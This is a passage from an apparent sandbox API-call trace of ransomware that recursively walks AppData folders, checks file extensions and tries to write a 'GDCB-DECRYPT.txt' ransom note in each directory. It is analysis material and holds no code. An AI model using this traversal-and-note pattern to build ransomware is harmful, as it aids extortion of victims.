lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="MicrosoftEdge", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="MicrosoftEdge", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="MicrosoftEdge" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\MicrosoftEdge") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\MicrosoftEdge" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\MicrosoftEdge") returned 100 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.895] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0169.895] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0169.895] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Mozilla" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Mozilla" [0169.895] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Mozilla") returned 94 [0169.895] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.896] lstrcmpW (lpString1="Packages", lpString2=".") returned 1 [0169.896] lstrcmpW (lpString1="Packages", lpString2="..") returned 1 [0169.896] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Packages" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages" [0169.896] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Packages") returned 95 [0169.896] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.896] lstrcmpW (lpString1="PeerDistRepub", lpString2=".") returned 1 [0169.896] lstrcmpW (lpString1="PeerDistRepub", lpString2="..") returned 1 [0169.896] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="PeerDistRepub" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\PeerDistRepub") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\PeerDistRepub" [0169.896] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\PeerDistRepub") returned 100 [0169.896] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.896] lstrcmpW (lpString1="Publishers", lpString2=".") returned 1 [0169.896] lstrcmpW (lpString1="Publishers", lpString2="..") returned 1 [0169.896] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Publishers" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Publishers") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Publishers" [0169.896] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Publishers") returned 97 [0169.896] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.896] lstrcmpW (lpString1="Temp", lpString2=".") returned 1 [0169.896] lstrcmpW (lpString1="Temp", lpString2="..") returned 1 [0169.896] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Temp" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temp") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temp" [0169.896] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temp") returned 91 [0169.896] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.897] lstrcmpW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0169.897] lstrcmpW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0169.897] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temporary Internet Files") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temporary Internet Files" [0169.897] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Temporary Internet Files") returned 111 [0169.897] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.897] lstrcmpW (lpString1="TileDataLayer", lpString2=".") returned 1 [0169.897] lstrcmpW (lpString1="TileDataLayer", lpString2="..") returned 1 [0169.897] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="TileDataLayer" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\TileDataLayer") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\TileDataLayer" [0169.897] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\TileDataLayer") returned 100 [0169.897] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.897] lstrcmpW (lpString1="VirtualStore", lpString2=".") returned 1 [0169.897] lstrcmpW (lpString1="VirtualStore", lpString2="..") returned 1 [0169.897] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="VirtualStore" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\VirtualStore") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\VirtualStore" [0169.897] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\VirtualStore") returned 99 [0169.897] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0169.897] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.897] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.897] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt") returned 104 [0169.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.898] GetLastError () returned 0x50 [0169.898] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.898] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\") returned 87 [0169.898] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*" [0169.898] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5a4e58 [0169.898] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.898] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.898] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.898] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.898] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.898] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.898] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.898] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe" [0169.898] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\" [0169.898] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.899] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.899] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.899] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\") returned 93 [0169.899] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*" [0169.899] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4dd8 [0169.899] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.899] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.899] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.899] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.899] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.899] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat" [0169.899] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat") returned 100 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.899] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.899] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.899] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef" [0169.899] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\AcroCef") returned 100 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.899] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.899] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.899] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color" [0169.899] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Color") returned 98 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.899] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.899] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.899] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0169.899] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 109 [0169.899] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.899] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.899] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.900] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.900] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 110 [0169.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.901] GetLastError () returned 0x50 [0169.901] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.901] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\") returned 93 [0169.901] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*" [0169.901] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4dd8 [0169.901] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.901] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.901] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.901] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.901] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.901] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.901] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.901] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat" [0169.901] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\" [0169.901] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.901] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.901] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.901] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.901] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.901] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.902] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 101 [0169.902] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0169.902] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4918 [0169.902] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.902] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.902] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.902] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.902] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.902] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.902] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.902] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0169.902] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned 103 [0169.902] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.902] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.902] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.902] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.902] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 117 [0169.902] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.902] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0169.902] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.902] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.902] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 118 [0169.902] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.903] GetLastError () returned 0x50 [0169.903] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.903] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\") returned 101 [0169.903] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*" [0169.903] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x5a4a18 [0169.903] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.903] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.903] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.903] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.903] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.903] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.903] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.903] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0169.903] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0169.904] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.904] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.904] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.904] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.904] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.904] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.904] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 104 [0169.904] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.904] FindFirstFileW (in: lpFileName="C:\\Documents and 